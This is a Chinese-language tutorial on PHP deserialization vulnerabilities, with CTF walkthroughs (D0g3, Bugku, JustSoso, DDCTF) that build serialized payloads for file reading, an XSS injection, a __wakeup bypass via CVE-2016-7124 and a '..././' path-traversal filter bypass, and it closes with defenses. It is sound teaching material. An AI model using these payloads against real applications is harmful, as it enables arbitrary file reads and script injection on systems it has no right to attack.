入门Web需要了解的PHP反序列化漏洞
字数 1581 2025-08-18 11:38:45
PHP反序列化漏洞详解
一、前言
PHP反序列化漏洞(PHP对象注入)是由于程序对输入数据处理不当导致的安全问题。学习反序列化漏洞前需要掌握以下PHP基础知识:
- PHP面向对象编程
- PHP中的魔术方法
- 序列化与反序列化机制
二、序列化与反序列化基础
1. 为什么需要序列化
序列化的目的是方便数据的传输和存储。PHP文件在执行结束后会将对象销毁,序列化可以将对象转换为字符串形式持久保存,需要时再反序列化恢复对象。
2. 序列化函数
serialize():将PHP对象转换为字符串
class test{
public $name = 'P2hm1n';
private $sex = 'secret';
protected $age = '20';
}
$test1 = new test();
$object = serialize($test1);
print_r($object);
序列化格式说明:
- private属性:
%00类名%00成员名 - protected属性:
%00*%00成员名
3. 反序列化函数
unserialize():将序列化字符串转换回PHP值
$object = '序列化字符串';
$test = unserialize($object);
print_r($test);
注意:处理protected和private属性时需要补齐空字符串。
三、反序列化漏洞产生条件
- 必须有
unserialize()函数 unserialize()函数的参数必须可控- 可能需要绕过一些魔术方法
简单示例
class test{
public $target = 'this is a test';
function __destruct(){
echo $this->target;
}
}
$a = $_GET['b'];
$c = unserialize($a);
此例中,通过控制$a参数可实现XSS攻击:
class test{
public $target = '<script>alert(/xss/);</script>';
}
$a = new test();
echo serialize($a);
四、重要魔术方法
理解魔术方法的执行顺序对利用反序列化漏洞至关重要:
class test{
public $name = 'P2hm1n';
function __construct(){
echo "__construct()<br>";
}
function __destruct(){
echo "__destruct()<br>";
}
function __wakeup(){
echo "__wakeup()<br>";
}
function __toString(){
return "__toString()<br>";
}
function __sleep(){
echo "__sleep()<br>";
return array("name");
}
}
执行顺序:
__construct()- 对象创建时调用__sleep()- 序列化时调用__wakeup()- 反序列化时调用__toString()- 对象被当作字符串时调用__destruct()- 对象销毁时调用
五、绕过__wakeup()方法
利用CVE-2016-7124漏洞:当序列化字符串中表示对象属性个数的值大于真实的属性个数时,会跳过__wakeup()的执行。
示例:
O:4:"test":2:{...} // 实际属性个数为1,但这里写2
六、实战案例分析
案例1:D0g3平台
error_reporting(0);
include "flag.php";
$KEY = "D0g3!!!";
$str = $_GET['str'];
if (unserialize($str) === "$KEY"){
echo "$flag";
}
解题思路:
- 构造序列化字符串使反序列化结果等于"D0g3!!!"
- 直接序列化该字符串:
$KEY = "D0g3!!!";
echo serialize($KEY);
案例2:Bugku-welcome to the bugkuctf
index.php部分代码:
$password = unserialize($password);
echo $password;
hint.php部分代码:
class Flag{
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
return "good";
}
}
}
解题思路:
- 控制
$this->file读取flag.php - 构造payload:
class Flag{
public $file = 'flag.php';
}
$a = new Flag();
echo serialize($a);
案例3:第12届全国大学生信息安全竞赛-JustSoso
hint.php关键代码:
class Flag{
public $file;
public $token;
public $token_flag;
public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag){
echo @highlight_file($this->file,true);
}
}
}
解题思路:
- 使用引用变量使
$token和$token_flag始终相等 - 绕过
__wakeup()方法 - 构造payload:
class Flag{
public $file = "flag.php";
public $token;
public $token_flag;
}
class Handle{
private $handle;
}
$f = new Flag();
$f->token = &$f->token_flag; // 使用引用
$h = new Handle($f);
echo str_replace('2', '3', serialize($h)); // 绕过__wakeup
案例4:DDCTF-Web签到题
Application.php关键代码:
class Application {
var $path = '';
public function __destruct() {
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response(file_get_contents($path),'Congratulations');
}
}
解题思路:
- 构造
$path为..././config/flag.txt - 绕过
str_replace("../","",$path)过滤 - 最终长度为18(过滤后)
payload:
class Application {
var $path = '..././config/flag.txt';
}
$a = new Application();
echo serialize($a);
七、扩展知识
1. Session反序列化漏洞
PHP在存储session时可能使用序列化机制,当session存储和读取处理方式不一致时可能导致反序列化漏洞。
2. Phar反序列化漏洞
Phar文件元数据会被序列化存储,当文件操作函数(如file_exists())作用于Phar文件时,会反序列化元数据,可能触发反序列化漏洞。
八、防御措施
- 不要反序列化不可信的数据
- 使用
json_encode()和json_decode()代替序列化 - 实现严格的输入验证
- 使用
hash_hmac()等机制验证数据完整性 - 限制反序列化时的类加载(通过
allowed_classes选项)
九、总结
PHP反序列化漏洞利用的关键点:
- 找到可控的
unserialize()参数 - 分析可用的类和魔术方法
- 构造合适的对象链(POP链)
- 绕过可能的限制(如
__wakeup()) - 实现任意文件读取、代码执行等恶意操作
理解这些原理和技巧,才能有效挖掘和防御PHP反序列化漏洞。